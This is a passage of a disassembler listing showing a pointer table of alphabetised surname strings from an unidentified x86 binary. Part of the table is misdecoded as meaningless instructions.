		dd offset aDegennaro	; "DeGennaro"
		dd offset aDelapena	; "DeLaPena"
		dd offset aDelEnclos	; "del'Enclos"
		dd offset aDerousse	; "deRousse"
		dd offset aDebroff	; "Debroff"
		dd offset aDees		; "Dees"
		dd offset aDefeciani	; "Defeciani"
		dd offset aDelattre	; "Delattre"
		dd offset aDeleonRendon	; "Deleon-Rendon"
		dd offset aDelger	; "Delger"
		dd offset aDellAcqua	; "Dell'acqua"
		dd offset aDeming	; "Deming"
		dd offset aDempster	; "Dempster"
		dd offset aDemusz	; "Demusz"
		dd offset aDenault	; "Denault"
		dd offset aDenham	; "Denham"
		dd offset aDenison	; "Denison"
		dd offset aDesombre	; "Desombre"
		dd offset aDeutsch	; "Deutsch"
		dd offset aDFini	; "D'fini"
		dd offset aDicks	; "Dicks"
		dd offset aDiefenbach	; "Diefenbach"
		dd offset aDifabio	; "Difabio"
		dd offset aDifronzo	; "Difronzo"
		dd offset aDilworth	; "Dilworth"
		dd offset aDionysius	; "Dionysius"
		dd offset aDirksen	; "Dirksen"
		dd offset aDockery	; "Dockery"
		dd offset aDoherty	; "Doherty"
		dd offset aDonahue	; "Donahue"
		dd offset aDonner	; "Donner"
		dd offset aDoonan	; "Doonan"
		dd offset aDore		; "Dore"
		dd offset aDorf		; "Dorf"
		dd offset aDosi		; "Dosi"
		dd offset aDoty		; "Doty"
		dd offset aDoug		; "Doug"
		dd offset aDowsland	; "Dowsland"
		dd offset aDrinker	; "Drinker"
		dd offset aDSouza	; "D'souza"
		dd offset aDuffin	; "Duffin"
		dd offset aDurrett	; "Durrett"
		dd offset aDussault	; "Dussault"
		dd offset aDwyer	; "Dwyer"
		dd offset aEardley	; "Eardley"
		dd offset aEbeling	; "Ebeling"
		dd offset aEckel	; "Eckel"
		dd offset aEdley	; "Edley"
		dd offset aEdner	; "Edner"
		dd offset aEdward	; "Edward"
		dd offset aEickenhorst	; "Eickenhorst"
		dd offset aEliasson	; "Eliasson"
		dd offset aElmendorf	; "Elmendorf"
		dd offset aElmerick	; "Elmerick"
		dd offset aElvis	; "Elvis"
		dd offset aEncinas	; "Encinas"
		dd offset aEnyeart	; "Enyeart"
		dd offset aEppling	; "Eppling"
		dd offset aErbach	; "Erbach"
		dd offset aErdman	; "Erdman"
		dd offset aErdos	; "Erdos"
		dd offset aErez		; "Erez"
		dd offset aEspinoza	; "Espinoza"
		dd offset aEstes	; "Estes"
		dd offset aEtter	; "Etter"
		dd offset aEuripides	; "Euripides"
		dd offset aEverett	; "Everett"
		dd offset aFabbris	; "Fabbris"
		dd offset aFagan	; "Fagan"
		dd offset aFaioes	; "Faioes"
		dd offset aFalcoAcosta	; "Falco-Acosta"
		dd offset aFalorsi	; "Falorsi"
		dd offset aFaris	; "Faris"
		dd offset aFarone	; "Farone"
		dd offset aFarren	; "Farren"
		dd offset aFasso	; "Fasso'"
		dd offset aFates	; "Fates"
		dd offset aFeigenbaum	; "Feigenbaum"
		dd offset aFejzo	; "Fejzo"
		dd offset aFeldman	; "Feldman"
		dd offset aFernald	; "Fernald"
		dd offset aFernandes	; "Fernandes"
		dd offset aFerrante	; "Ferrante"
		dd offset aFerriell	; "Ferriell"
		dd offset aFeuer	; "Feuer"
		dd offset aFido		; "Fido"
		dd offset aField	; "Field"
		dd offset aFink		; "Fink"
		dd offset aFinkelstein	; "Finkelstein"
		dd offset aFinnegan	; "Finnegan"
		dd offset aFiorina	; "Fiorina"
		dd offset aFisk		; "Fisk"
		dd offset aFitzmaurice	; "Fitzmaurice"
		dd offset aFlier	; "Flier"
		dd offset aFlores	; "Flores"
		dd offset aFolks	; "Folks"
		dd offset aForester	; "Forester"
		dd offset aFortes	; "Fortes"
		dd offset aFortier	; "Fortier"
		dd offset aFossey	; "Fossey"
		dd offset aFossi	; "Fossi"
		dd offset aFrancisco	; "Francisco"
		dd offset aFranklinKenea ; "Franklin-Kenea"
		dd offset aFranz	; "Franz"
		dd offset aFrazierDavis	; "Frazier-Davis"
		dd offset aFreid	; "Freid"
		dd offset aFreundlich	; "Freundlich"
		dd offset aFried	; "Fried"
		dd offset aFriedland	; "Friedland"
		dd offset aFrisken	; "Frisken"
		dd offset aFrowiss	; "Frowiss"
		dd offset aFryberger	; "Fryberger"
		dd offset aFrye		; "Frye"
		dd offset aFujiiAbe	; "Fujii-Abe"
		dd offset aFuller	; "Fuller"
		dd offset aFurth	; "Furth"
		dd offset aFusaro	; "Fusaro"
		dd offset aGabrielli	; "Gabrielli"
		dd offset aGaggiotti	; "Gaggiotti"
		dd offset aGaleotti	; "Galeotti"
		dd offset aGalwey	; "Galwey"
		dd offset aGambini	; "Gambini"
		dd offset aGarfield	; "Garfield"
		dd offset aGarman	; "Garman"
		dd offset aGaronna	; "Garonna"
		dd offset aGeller	; "Geller"
		dd offset aGemberling	; "Gemberling"
		dd offset aGeorgi	; "Georgi"
		dd offset aGerrett	; "Gerrett"
		dd offset aGhorai	; "Ghorai"
		dd offset aGibbens	; "Gibbens"
		dd offset aGibson	; "Gibson"
		dd offset aGilbert	; "Gilbert"
		dd offset aGili		; "Gili"
		dd offset aGill		; "Gill"
		dd offset aGillispie	; "Gillispie"
		dd offset aGist		; "Gist"
		dd offset aGleason	; "Gleason"
		dd offset aGlegg	; "Glegg"
		dd offset aGlendon	; "Glendon"
		dd offset aGoldfarb	; "Goldfarb"
		dd offset aGoncalves	; "Goncalves"
		dd offset aGood		; "Good"
		dd offset aGoodearl	; "Goodearl"
		dd offset aGoody	; "Goody"
		dd offset aGozzi	; "Gozzi"
		dd offset aGravell	; "Gravell"
		dd offset aGreenberg	; "Greenberg"
		dd offset aGreenfeld	; "Greenfeld"
		dd offset aGriffiths	; "Griffiths"
		dd offset aGrigoletto	; "Grigoletto"
		dd offset aGrummell	; "Grummell"
		dd offset aGruner	; "Gruner"
		dd offset aGruppe	; "Gruppe"
		dd offset aGuenthart	; "Guenthart"
		dd offset aGunn		; "Gunn"
		dd offset aGuo		; "Guo"
		dd offset aHa		; "Ha"
		dd offset aHaar		; "Haar"
		dd offset aHackman	; "Hackman"
		dd offset aHackshaw	; "Hackshaw"
		dd offset aHaley	; "Haley"
		dd offset aHalkias	; "Halkias"
		dd offset aHallowell	; "Hallowell"
		dd offset aHalpert	; "Halpert"
		dd offset aHambarzumjan	; "Hambarzumjan"
		dd offset aHamer	; "Hamer"
		dd offset aHammerness	; "Hammerness"
		dd offset aHand		; "Hand"
		dd offset aHanssen	; "Hanssen"
		dd offset aHarding	; "Harding"
		dd offset aHargraves	; "Hargraves"
		dd offset aHarlow	; "Harlow"
		dd offset aHarrigan	; "Harrigan"
		dd offset aHartman	; "Hartman"
		dd offset aHartmann	; "Hartmann"
		dd offset aHartnett	; "Hartnett"
		dd offset aHarwell	; "Harwell"
		dd offset aHaviaras	; "Haviaras"
		dd offset aHawkes	; "Hawkes"
		dd offset aHayes	; "Hayes"
		dd offset aHaynes	; "Haynes"
		dd offset aHazlewood	; "Hazlewood"
		dd offset aHeermans	; "Heermans"
		dd offset aHeft		; "Heft"
		dd offset aHeiland	; "Heiland"
		dd offset aHellman	; "Hellman"
		dd offset aHellmiss	; "Hellmiss"
		dd offset aHelprin	; "Helprin"
		dd offset aHemphill	; "Hemphill"
		dd offset aHenery	; "Henery"
		dd offset aHenrichs	; "Henrichs"
		dd offset aHernandez	; "Hernandez"
		dd offset aHerrera	; "Herrera"
		dd offset aHester	; "Hester"
		dd offset aHeubert	; "Heubert"
		dd offset aHeyeck	; "Heyeck"
		dd offset aHimmelfarb	; "Himmelfarb"
		dd offset aHind		; "Hind"
		dd offset aHirst	; "Hirst"
		dd offset aHitchcock	; "Hitchcock"
		dd offset aHoang	; "Hoang"
		dd offset aHock		; "Hock"
		dd offset aHoffer	; "Hoffer"
		dd offset aHoffman	; "Hoffman"
		dd offset aHokanson	; "Hokanson"
		dd offset aHokoda	; "Hokoda"
		dd offset aHolmes	; "Holmes"
		dd offset aHoloien	; "Holoien"
		dd offset aHolter	; "Holter"
		dd offset aHolway	; "Holway"
		dd offset aHolzman	; "Holzman"
		dd offset aHooker	; "Hooker"
		dd offset aHopkins	; "Hopkins"
		dd offset aHorsley	; "Horsley"
		dd offset aHoshida	; "Hoshida"
		dd offset aHostage	; "Hostage"
		dd offset aHottle	; "Hottle"
		dd offset aHoward	; "Howard"
		dd offset aHoy		; "Hoy"
		dd offset aHuey		; "Huey"
		dd offset aHuidekoper	; "Huidekoper"
		dd offset aHungerford	; "Hungerford"
		dd offset aHuntington	; "Huntington"
		dd offset aHupp		; "Hupp"
		dd offset aHurtubise	; "Hurtubise"
		dd offset aHutchings	; "Hutchings"
		dd offset aHyde		; "Hyde"
		dd offset aIaquinta	; "Iaquinta"
		dd offset aIchikawa	; "Ichikawa"
		dd offset aIgarashi	; "Igarashi"
		dd offset aInamura	; "Inamura"
		dd offset aInniss	; "Inniss"
		dd offset aIsaac	; "Isaac"
		dd offset aIsaievych	; "Isaievych"
		dd offset aIsbill	; "Isbill"
		dd offset aIsserman	; "Isserman"
		dd offset aIyer		; "Iyer"
		dd offset aJacenko	; "Jacenko"
		dd offset aJackson	; "Jackson"
		dd offset aJagers	; "Jagers"
		dd offset aJagger	; "Jagger"
		dd offset aJagoe	; "Jagoe"
		dd offset aJain		; "Jain"
		dd offset aJamil	; "Jamil"
		dd offset aJanjigian	; "Janjigian"
		dd offset aJarnagin	; "Jarnagin"
		dd offset aJarrell	; "Jarrell"
		dd offset aJay		; "Jay"
		dd offset aJeffers	; "Jeffers"
		dd offset aJellis	; "Jellis"
		dd offset aJenkins	; "Jenkins"
		dd offset aJespersen	; "Jespersen"
		dd offset aJewett	; "Jewett"
		dd offset aJohannesson	; "Johannesson"
		dd offset aJohannsen	; "Johannsen"
		dd offset aJohns	; "Johns"
		dd offset aJolly	; "Jolly"
		dd offset aJorgensen	; "Jorgensen"
		dd offset aJucks	; "Jucks"
		dd offset aJuliano	; "Juliano"
		dd offset aJulious	; "Julious"
		dd offset aKabbash	; "Kabbash"
		dd offset aKaboolian	; "Kaboolian"
		dd offset aKafadar	; "Kafadar"
		dd offset aKalbfleisch	; "Kalbfleisch"
		dd offset aKaligian	; "Kaligian"
		dd offset aKalil	; "Kalil"
		dd offset aKalinowski	; "Kalinowski"
		dd offset aKalman	; "Kalman"
		dd offset aKamel	; "Kamel"
		dd offset aKangis	; "Kangis"
		dd offset aKarpouzes	; "Karpouzes"
		dd offset aKassower	; "Kassower"
		dd offset aKasten	; "Kasten"
		dd offset aKawachi	; "Kawachi"
		dd offset aKee		; "Kee"
		dd offset aKeenan	; "Keenan"
		dd offset aKeepper	; "Keepper"
		dd offset aKeith	; "Keith"
		dd offset aKelker	; "Kelker"
		dd offset aKelsey	; "Kelsey"
		dd offset aKempton	; "Kempton"
		dd offset aKemsley	; "Kemsley"
		dd offset aKendall	; "Kendall"
		dd offset aKerry	; "Kerry"
		dd offset aKeul		; "Keul"
		dd offset aKhong	; "Khong"
		dd offset aKimmel	; "Kimmel"
		dd offset aKimmett	; "Kimmett"
		dd offset aKimura	; "Kimura"
		dd offset aKindall	; "Kindall"
		dd offset aKinsley	; "Kinsley"
		dd offset aKippenberger	; "Kippenberger"
		dd offset aKirscht	; "Kirscht"
		dd offset aKittridge	; "Kittridge"
		dd offset aKleckner	; "Kleckner"
		dd offset aKleiman	; "Kleiman"
		dd offset aKleinfelder	; "Kleinfelder"
		dd offset aKlemperer	; "Klemperer"
		dd offset aKling	; "Kling"
		dd offset aKlinkenborg	; "Klinkenborg"
		dd offset aKlint	; "Klint"
		dd offset aKnuff	; "Knuff"
		dd offset aKobrick	; "Kobrick"
		dd offset aKoch		; "Koch"
		dd offset aKohn		; "Kohn"
		dd offset aKoivumaki	; "Koivumaki"
		dd offset aKommer	; "Kommer"
		dd offset aKoniaris	; "Koniaris"
		dd offset aKonrad	; "Konrad"
		dd offset aKool		; "Kool"
		dd offset aKorzybski	; "Korzybski"
		dd offset aKotter	; "Kotter"
		dd offset aKovaks	; "Kovaks"
		dd offset aKraemer	; "Kraemer"
		dd offset aKrailo	; "Krailo"
		dd offset aKrasney	; "Krasney"
		dd offset aKraus	; "Kraus"
		dd offset aKroemer	; "Kroemer"
		dd offset aKrysiak	; "Krysiak"
		dd offset aKuenzli	; "Kuenzli"
		dd offset aKumar	; "Kumar"
		dd offset aKusman	; "Kusman"
		dd offset aKuwabara	; "Kuwabara"
		dd offset aLa		; "La"
		dd offset aLabunka	; "Labunka"
		dd offset aLafler	; "Lafler"
		dd offset aLaing	; "Laing"
		dd offset aLallemant	; "Lallemant"
		dd offset aLandes	; "Landes"
		dd offset aLankes	; "Lankes"
		dd offset aLantieri	; "Lantieri"
		dd offset aLanzit	; "Lanzit"
		dd offset aLaserna	; "Laserna"
		dd offset aLashley	; "Lashley"
		dd offset aLawless	; "Lawless"
		dd offset aLecar	; "Lecar"
		dd offset aLecce	; "Lecce"
		dd offset aLeclercq	; "Leclercq"
		dd offset aLeite	; "Leite"
		dd offset aLenard	; "Lenard"
		dd offset aLEnclos	; "l'Enclos"
		dd offset aLesser	; "Lesser"
		dd offset aLessi	; "Lessi"
		dd offset aLiakos	; "Liakos"
		dd offset aLidano	; "Lidano"
		dd offset aLiem		; "Liem"
		dd offset aLight	; "Light"
		dd offset aLightfoot	; "Lightfoot"
		dd offset aLim		; "Lim"
		dd offset aLinares	; "Linares"
		dd offset aLinda	; "Linda"
		dd offset aLinder	; "Linder"
		dd offset aLine		; "Line"
		dd offset aLinehan	; "Linehan"
		dd offset aLinzee	; "Linzee"
		dd offset aLippmann	; "Lippmann"
		dd offset aLipponen	; "Lipponen"
		dd offset aLittle	; "Little"
		dd offset aLitvak	; "Litvak"
		dd offset aLivernash	; "Livernash"
		dd offset aLivi		; "Livi"
		dd offset aLivolsi	; "Livolsi"
		dd offset aLizardo	; "Lizardo"
		dd offset aLocatelli	; "Locatelli"
		dd offset aLongworth	; "Longworth"
		dd offset aLoss		; "Loss"
		dd offset aLoveman	; "Loveman"
		dd offset aLowenstein	; "Lowenstein"
		dd offset aLoza		; "Loza"
		dd offset aLubin	; "Lubin"
		dd offset aLucas	; "Lucas"
		dd offset aLuciano	; "Luciano"
		dd offset aLuczkow	; "Luczkow"
		dd offset aLuecke	; "Luecke"
		dd offset aLunetta	; "Lunetta"
		dd offset aLuoma	; "Luoma"
		dd offset aLussier	; "Lussier"
		dd offset aLutcavage	; "Lutcavage"
		dd offset aLuzader	; "Luzader"
		dd offset aMa		; "Ma"
		dd offset aMaccormac	; "Maccormac"
		dd offset aMacdonald	; "Macdonald"
		dd offset aMaceachern	; "Maceachern"
		dd offset aMacintyre	; "Macintyre"
		dd offset aMackenney	; "Mackenney"
		dd offset aMacmillan	; "MacMillan"
		dd offset aMacy		; "Macy"
		dd offset aMadigan	; "Madigan"
		dd offset aMaggio	; "Maggio"
		dd offset aMahony	; "Mahony"
		dd offset aMaier	; "Maier"
		dd offset aMaineHershey	; "Maine-Hershey"
		dd offset aMaisano	; "Maisano"
		dd offset aMalatesta	; "Malatesta"
		dd offset aMaller	; "Maller"
		dd offset aMalova	; "Malova"
		dd offset aManalis	; "Manalis"
		dd offset aMandel	; "Mandel"
		dd offset aManganiello	; "Manganiello"
		dd offset aMantovan	; "Mantovan"
		dd offset aMarch	; "March"
		dd offset aMarchbanks	; "Marchbanks"
		dd offset aMarcus	; "Marcus"
		dd offset aMargalit	; "Margalit"
		dd offset aMargetts	; "Margetts"
		dd offset aMarques	; "Marques"
		dd offset aMartinez	; "Martinez"
		dd offset aMartochio	; "Martochio"
		dd offset aMarton	; "Marton"
		dd offset aMarubini	; "Marubini"
		dd offset aMass		; "Mass"
		dd offset aMatalka	; "Matalka"
		dd offset aMatarazzo	; "Matarazzo"
		dd offset aMatsukata	; "Matsukata"
		dd offset aMattson	; "Mattson"
		dd offset aMauzy	; "Mauzy"
		dd offset aMay		; "May"
		dd offset aMazzali	; "Mazzali"
		dd offset aMazziotta	; "Mazziotta"
		dd offset aMcbride	; "Mcbride"
		dd offset aMccaffery	; "Mccaffery"
		dd offset aMccall	; "Mccall"
		dd offset aMcclearn	; "Mcclearn"
		dd offset aMcdowell	; "Mcdowell"
		dd offset aMcelroy	; "Mcelroy"
		dd offset aMcfadden	; "McFadden"
		dd offset aMcghee	; "Mcghee"
		dd offset aMcgoldrick	; "Mcgoldrick"
		dd offset aMcilroy	; "McIlroy"
		dd offset aMcintosh	; "Mcintosh"
		dd offset aMckenna	; "Mckenna"
		dd offset aMclane	; "Mclane"
		dd offset aMclaren	; "Mclaren"
		dd offset aMcnealy	; "Mcnealy"
		dd offset aMcnulty	; "Mcnulty"
		dd offset aMeccariello	; "Meccariello"
		dd offset aMemisoglu	; "Memisoglu"
		dd offset aMenzies	; "Menzies"
		dd offset aMerikoski	; "Merikoski"
		dd offset aMerlani	; "Merlani"
		dd offset aMerminod	; "Merminod"
		dd offset aMerseth	; "Merseth"
		dd offset aMerz		; "Merz"
		dd offset aMetelka	; "Metelka"
		dd offset aMetropolis	; "Metropolis"
		dd offset aMeurer	; "Meurer"
		dd offset aMichelman	; "Michelman"
		dd offset aMiddle	; "Middle"
		dd offset aMieher	; "Mieher"
		dd offset aMills	; "Mills"
		dd offset aMinh		; "Minh"
		dd offset aMini		; "Mini"
		dd offset aMinichiello	; "Minichiello"
		dd offset aGonzalez	; "Gonzalez"
		dd offset aMitropoulos	; "Mitropoulos"
		dd offset aMittal	; "Mittal"
		dd offset aMocroft	; "Mocroft"
		dd offset aModestino	; "Modestino"
		dd offset aMoeller	; "Moeller"
		dd offset aMohr		; "Mohr"
		dd offset aMoiamedi	; "Moiamedi"
		dd offset aMonque	; "Monque"
		dd offset aMontilio	; "Montilio"
		dd offset aMooredech_	; "MooreDeCh."
		dd offset aMorani	; "Morani"
		dd offset aMoreton	; "Moreton"
		dd offset aMorrison	; "Morrison"
		dd offset aMorrow	; "Morrow"
		dd offset aMortimer	; "Mortimer"
		dd offset aMosher	; "Mosher"
		dd offset aMosler	; "Mosler"
		dd offset aMostafavi	; "Mostafavi"
		dd offset aMotooka	; "Motooka"
		dd offset aMudarri	; "Mudarri"
		dd offset aMuello	; "Muello"
		dd offset aMugnai	; "Mugnai"
		dd offset aMulkern	; "Mulkern"
		dd offset aMulroy	; "Mulroy"
		dd offset aMumford	; "Mumford"
		dd offset aMussachio	; "Mussachio"
		dd offset aNaddeo	; "Naddeo"
		dd offset aNapolitano	; "Napolitano"
		dd offset aNardi	; "Nardi"
		dd offset aNardone	; "Nardone"
		dd offset aNaviaux	; "Naviaux"
		dd offset aNayduch	; "Nayduch"
		dd offset aNelson	; "Nelson"
		dd offset aNenna	; "Nenna"
		dd offset aNesci	; "Nesci"
		dd offset aNeuman	; "Neuman"
		dd offset aNewfeld	; "Newfeld"
		dd offset aNewlin	; "Newlin"
		dd offset aNg		; "Ng"
		dd offset aNi_0		; "Ni"
		dd offset aNickerson	; "Nickerson"
		dd offset aNickoloff	; "Nickoloff"
		dd offset aNisenson	; "Nisenson"
		dd offset aNitabach	; "Nitabach"
		dd offset aNotman	; "Notman"
		dd offset aNuzum	; "Nuzum"
		dd offset aOcougne	; "Ocougne"
		dd offset aOgata	; "Ogata"
		dd offset aOh		; "Oh"
		dd offset aOHagan	; "O'hagan"
		dd offset aOldford	; "Oldford"
		dd offset aOlsen	; "Olsen"
		dd offset aOlson	; "Olson"
		dd offset aOlszewski	; "Olszewski"
		dd offset aOMalley	; "O'malley"
		dd offset aOman		; "Oman"
		dd offset aOMeara	; "O'meara"
		dd offset aOpel		; "Opel"
		dd offset aOray		; "Oray"
		dd offset aOrfield	; "Orfield"
		dd offset aOrsi		; "Orsi"
		dd offset aOspina	; "Ospina"
		dd offset aOstrowski	; "Ostrowski"
		dd offset aOttaviani	; "Ottaviani"
		dd offset aOtten	; "Otten"
		dd offset aOuchida	; "Ouchida"
		dd offset aOvid		; "Ovid"
		dd offset aPaesdealmeida ; "PaesDealmeida"
		dd offset aPaine	; "Paine"
		dd offset aPalayoor	; "Palayoor"
		dd offset aPalepu	; "Palepu"
		dd offset aPallara	; "Pallara"
		dd offset aPalmitesta	; "Palmitesta"
		dd offset aPanadero	; "Panadero"
		dd offset aPanizzon	; "Panizzon"
		dd offset aPantilla	; "Pantilla"
		dd offset aPaoletti	; "Paoletti"
		dd offset aParmeggiani	; "Parmeggiani"
		dd offset aParris	; "Parris"
		dd offset aPartridge	; "Partridge"
		dd offset aPascucci	; "Pascucci"
		dd offset aPatefield	; "Patefield"
		dd offset aPatrick	; "Patrick"
		dd offset aPattullo	; "Pattullo"
		dd offset aPavetti	; "Pavetti"
		dd offset aPavlon	; "Pavlon"
		dd offset aPawloski	; "Pawloski"
		dd offset aPaynter	; "Paynter"
		dd offset aPeabody	; "Peabody"
		dd offset aPearlberg	; "Pearlberg"
		dd offset aPederson	; "Pederson"
		dd offset aPeishel	; "Peishel"
		dd offset aPenny	; "Penny"
		dd offset aPereira	; "Pereira"
		dd offset aPerko	; "Perko"
		dd offset aPerlak	; "Perlak"
		dd offset aPerlman	; "Perlman"
		dd offset aPerna	; "Perna"
		dd offset aPerone	; "Perone"
		dd offset aPerrimon	; "Perrimon"
		dd offset aPeters	; "Peters"
		dd offset aPetruzello	; "Petruzello"
		dd offset aPettibone	; "Pettibone"
		dd offset aPettit	; "Pettit"
		dd offset aPfister	; "Pfister"
		dd offset aPilbeam	; "Pilbeam"
		dd offset aPinot	; "Pinot"
		dd offset aPlancon	; "Plancon"
		dd offset aPlant	; "Plant"
		dd offset aPlasket	; "Plasket"
		dd offset aPlous	; "Plous"
		dd offset aPo		; "Po"
		dd offset aPocobene	; "Pocobene"
		dd offset aPoincaire	; "Poincaire"
		dd offset aPointer	; "Pointer"
		dd offset aPoirier	; "Poirier"
		dd offset aPolak	; "Polak"
		dd offset aPolanyi	; "Polanyi"
		dd offset aPolitis	; "Politis"
		dd offset aPoma		; "Poma"
		dd offset aPoolman	; "Poolman"
		dd offset aPowers	; "Powers"
		dd offset aPresper	; "Presper"
		dd offset aPreucel	; "Preucel"
		dd offset aPrevost	; "Prevost"
		dd offset aPritchard	; "Pritchard"
		dd offset aPritz	; "Pritz"
		dd offset aProietti	; "Proietti"
		dd offset aProthrowStith ; "Prothrow-Stith"
		dd offset aPuccia	; "Puccia"
		dd offset aPugh		; "Pugh"
		dd offset aPynchon	; "Pynchon"
		dd offset aQuaday	; "Quaday"
		dd offset aQuetin	; "Quetin"
		dd offset aRabe		; "Rabe"
		dd offset aRabkin	; "Rabkin"
		dd offset aRadeke	; "Radeke"
		dd offset aRajagopalan	; "Rajagopalan"
		dd offset aRaney	; "Raney"
		dd offset aRangan	; "Rangan"
		dd offset aRankin	; "Rankin"
		dd offset aRapple	; "Rapple"
		dd offset aRayport	; "Rayport"
		dd offset aReddenTyler	; "Redden-Tyler"
		dd offset aReedquist	; "Reedquist"
		dd offset aCunningham	; "Cunningham"
		dd offset aReinold	; "Reinold"
		dd offset aRemak	; "Remak"
		dd offset aRenick	; "Renick"
		dd offset aRepetto	; "Repetto"
		dd offset aResnik	; "Resnik"
		dd offset aRhea		; "Rhea"
		dd offset aRichmond	; "Richmond"
		dd offset aRielly	; "Rielly"
		dd offset aRindos	; "Rindos"
		dd offset aRineer	; "Rineer"
		dd offset aRish		; "Rish"
		dd offset aRivera	; "Rivera"
		dd offset aRobinson	; "Robinson"
		dd offset aRocha	; "Rocha"
		dd offset aRoesler	; "Roesler"
		dd offset aRogers	; "Rogers"
		dd offset aRonen	; "Ronen"
		dd offset aRow		; "Row"
		dd offset aRoyal	; "Royal"
		dd offset aRu		; "Ru"
		dd offset aRuan		; "Ruan"
		dd offset aRuderman	; "Ruderman"
		dd offset aRuescher	; "Ruescher"
		dd offset aRush		; "Rush"
		dd offset aRyu		; "Ryu"
		dd offset aSabatello	; "Sabatello"
		dd offset aSadler	; "Sadler"
		dd offset aSafire	; "Safire"
		dd offset aSahu		; "Sahu"
		dd offset aSali		; "Sali"
		dd offset aSamson	; "Samson"
		dd offset aSanchezRamirez ; "Sanchez-Ramirez"
		dd offset aSanna	; "Sanna"
		dd offset aSapers	; "Sapers"
		dd offset aSarin	; "Sarin"
		dd offset aSartore	; "Sartore"
		dd offset aSase		; "Sase"
		dd offset aSatin	; "Satin"
		dd offset aSatta	; "Satta"
		dd offset aSatterthwaite ; "Satterthwaite"
		dd offset aSawtell	; "Sawtell"
		dd offset aSayied	; "Sayied"
		dd offset aScarponi	; "Scarponi"
		dd offset aScepan	; "Scepan"
		dd offset aScharf	; "Scharf"
		dd offset aScharlemann	; "Scharlemann"
		dd offset aScheiner	; "Scheiner"
		dd offset aSchiano	; "Schiano"
		dd offset aSchifini	; "Schifini"
		dd offset aSchilling	; "Schilling"
		dd offset aSchmitt	; "Schmitt"
		dd offset aSchossberger	; "Schossberger"
		dd offset aSchuman	; "Schuman"
		dd offset aSchutte	; "Schutte"
		dd offset aSchuyler	; "Schuyler"
		dd offset aSchwan	; "Schwan"
		dd offset aSchwickrath	; "Schwickrath"
		db 80h
; ---------------------------------------------------------------------------


loc_42EB39:				; CODE XREF: ___:0042EB40j
		test	dword ptr [edx+0], offset aScudder ; "Scudder"
		jo	short loc_42EB39
		inc	edx
		add	[eax-9], ch
		inc	edx
		add	[eax-9], ah
		inc	edx
		add	[eax-9], bl
		inc	edx
		add	[eax-9], dl
		inc	edx
		add	[edi+esi*8+42h], cl
		add	[edi+esi*8+42h], al
		add	[eax], bh
		test	dword ptr [edx+0], offset aSexton ; "Sexton"
		sub	bh, dh
		inc	edx
		add	[eax], ah
		test	dword ptr [edx+0], offset aShakis ; "Shakis"
		or	al, 0F7h
		inc	edx
		add	[edi+esi*8], al
		inc	edx
		add	ah, bh
		test	byte ptr [edx+0], 0F4h
		test	byte ptr [edx+0], 0E8h
		test	byte ptr [edx+0], 0E0h
		test	byte ptr [edx+0], 0D8h
		test	byte ptr [edx+0], 0CCh
		test	byte ptr [edx+0], 0C0h
		test	byte ptr [edx+0], 0B4h
		test	byte ptr [edx+0], 0ACh
		test	byte ptr [edx+0], 0A4h
		test	byte ptr [edx+0], 9Ch
		test	byte ptr [edx+0], 94h
		test	byte ptr [edx+0], 8Ch
		test	byte ptr [edx+0], 84h
		test	byte ptr [edx+0], 7Ch
		test	byte ptr [edx+0], 74h
		test	byte ptr [edx+0], 68h
		test	byte ptr [edx+0], 5Ch
		test	byte ptr [edx+0], 50h
		test	byte ptr [edx+0], 48h
		test	byte ptr [edx+0], 40h
		test	byte ptr [edx+0], 38h
		test	byte ptr [edx+0], 30h
		test	byte ptr [edx+0], 28h
		test	byte ptr [edx+0], 20h
		test	byte ptr [edx+0], 18h
		test	byte ptr [edx+0], 10h
		test	byte ptr [edx+0], 8
		test	byte ptr [edx+0], 0FCh
		cmc
		inc	edx
		add	ah, dh
		cmc
		inc	edx
		add	ah, ch
		cmc
		inc	edx
		add	ah, ah
		cmc
		inc	edx
		add	al, bl
		cmc
		inc	edx
		add	ah, cl
		cmc
		inc	edx
		add	ah, al
		cmc
		inc	edx
		add	[ebp+esi*8-0A4BFFBEh], bh
		inc	edx
		add	[ebp+esi*8-0A5FFFBEh], ch
		inc	edx
		add	[eax-6FFFBD0Bh], bl
		cmc
		inc	edx
		add	[ebp+esi*8-0A83FFBEh], al
		inc	edx
		add	[ebp+esi*8+42h], dh
		add	[ebp+esi*8+42h], ch
		add	[ebp+esi*8+42h], ah
		add	[ebp+esi*8+42h], dl
		add	[eax-0Bh], cl
		inc	edx
		add	[eax-0Bh], al
		inc	edx
		add	ds:0F52C0042h[esi*8], dh
		inc	edx
		add	ds:0F51C0042h[esi*8], ah
		inc	edx
		add	ds:0F5040042h[esi*8], cl
		inc	edx
		add	al, bh
; ---------------------------------------------------------------------------
		db 0F4h, 42h, 0
		dd offset aStefani	; "Stefani"
		dd offset aSteiner	; "Steiner"
		dd offset aStephanian	; "Stephanian"
		dd offset aStepniewska	; "Stepniewska"
		dd offset aStewartOaten	; "Stewart-Oaten"
		dd offset aStiepock	; "Stiepock"
		dd offset aStillwell	; "Stillwell"
		dd offset aStock	; "Stock"
		dd offset aStockton	; "Stockton"
		dd offset aStockwell	; "Stockwell"
		dd offset aStolzenberg	; "Stolzenberg"
		dd offset aStonich	; "Stonich"
		dd offset aStorer	; "Storer"
		dd offset aStott	; "Stott"
		dd offset aStrange	; "Strange"
		dd offset aStrauch	; "Strauch"
		dd offset aStreiff	; "Streiff"
		dd offset aStringer	; "Stringer"
		dd offset aSullivan	; "Sullivan"
		dd offset aSumner	; "Sumner"
		dd offset aSuo		; "Suo"
		dd offset aSurdam	; "Surdam"
		dd offset aSweeting	; "Sweeting"
		dd offset aSweetser	; "Sweetser"
		dd offset aSwindle	; "Swindle"
		dd offset aTagiuri	; "Tagiuri"
		dd offset aTai		; "Tai"
		dd offset aTalaugon	; "Talaugon"
		dd offset aTambiah	; "Tambiah"
		dd offset aTandler	; "Tandler"
		dd offset aTanowitz	; "Tanowitz"
		dd offset aTatar	; "Tatar"
		dd offset aTaveras	; "Taveras"
		dd offset aTawn		; "Tawn"
		dd offset aTcherepnin	; "Tcherepnin"
		dd offset aTeague	; "Teague"
		dd offset aTemes	; "Temes"
		dd offset aTemmer	; "Temmer"
		dd offset aTenney	; "Tenney"
		dd offset aTerracini	; "Terracini"
		dd offset aThan		; "Than"
		dd offset aThavaneswaran ; "Thavaneswaran"
		dd offset aTheodos	; "Theodos"
		dd offset aThibault	; "Thibault"
		dd offset aThisted	; "Thisted"
		dd offset aThomsen	; "Thomsen"
		dd offset aThroop	; "Throop"
		dd offset aTierney	; "Tierney"
		dd offset aTill		; "Till"
		dd offset aTimmons	; "Timmons"
		dd offset aTofallis	; "Tofallis"
